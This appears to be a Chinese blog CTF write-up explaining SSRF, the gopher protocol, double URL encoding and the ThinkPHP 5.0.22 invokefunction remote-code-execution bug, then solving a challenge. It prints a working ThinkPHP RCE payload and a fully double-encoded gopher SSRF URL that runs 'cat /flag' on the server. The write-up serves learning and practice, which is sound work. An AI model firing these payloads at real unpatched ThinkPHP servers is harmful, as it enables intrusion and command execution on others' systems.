1 目录
- SSRF漏洞的产生
- gopher协议
- tp框架漏洞
- 二次编码
2 SSRF漏洞的产生
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是能够直接对目标网站的内部系统发起请求。(因为它是从内部网络系统访问的,所以可以通过她攻击外网无法访问的内部系统,也就是把目标网站当中间人)
3 gopher协议
Gopher是Internet上一个很有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便用户获取。Gopher协议使得Internet上的所有Gopher客户程序能够与已注册的Gopher服务器对话。简单来说,在WWW出现之前,Gopher是Internet上最主要的信息检索工具。在这里我将其当作一个等价于访问网页的正常请求方式。在SSRF中,经常会使用Gopher来构造GET/POST包攻击应用,它的使用格式如下所示
1 | gopher://URL |
4 tp框架漏洞
这个漏洞是5.0.22版本的一个很著名的漏洞,对于一般的系统来说,没有补上的话,就会别攻击者构造get包进行rce,有关这个漏洞的详细介绍可以看下面的这篇文章
http://www.secflag.com/archives/505.html
构造的payload如下
1 | http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id |
5 二次编码
详见下面我的这篇文章
6 一道具体的tp框架题目
题目链接如下
1 | http://180.153.183.49:7200/ |
1 进去后发现是一个tp框架
2 一般情况下的tp框架的目录页放在public下,应用和文件放在application下
3 进去public页面后,我们发现出题人太过自信了吧,通过观察提示发现题目踪迹
4 发觉应该还有文件没找到,通过尝试发现了ssrf.php文件
5 许多协议(ftp、ftps、http、https、file、dict等)都被过滤,通过尝试发现gopher协议未被过滤
6 URL需要进行二次编码
1 | http://ip?url=gopher://URL |
上面的地址中http://ip?是本地向服务器端进行的请求(需要进行一次编码),而url=gopher://URL会在服务端请求URL中的值(需要进行二次编码)
一次编码
1 | http://180.153.183.49:7200/1/public/ssrf.php?url=gopher://127.0.0.1:80/_GET |
二次编码(注意gopher协议中空格编码成+,即%2B,而在其他情况下空格常编码成%20)
1 | /1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag |
通过在线网站https://www.sojson.com/encodeurl.html进行一二次编码即可得到payload
然后把第一次的结果进行第二次编码
再将空格对应的%20改成+对应的编码后的格式%2B,即可得到payload
1 | http://180.153.183.49:7200/1/public/ssrf.php?url=gopher://127.0.0.1:80/_GET%20%252F1%252Fpublic%252Findex.php%253Fs%253Dindex%252F%255Cthink%255Capp%252Finvokefunction%2526function%253Dcall_user_func_array%2526vars%255B0%255D%253Dsystem%2526vars%255B1%255D%255B%255D%253Dcat%2B%252Fflag |
7 post包举例
注意查看一二次解密过程中需要二次解密的部分
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。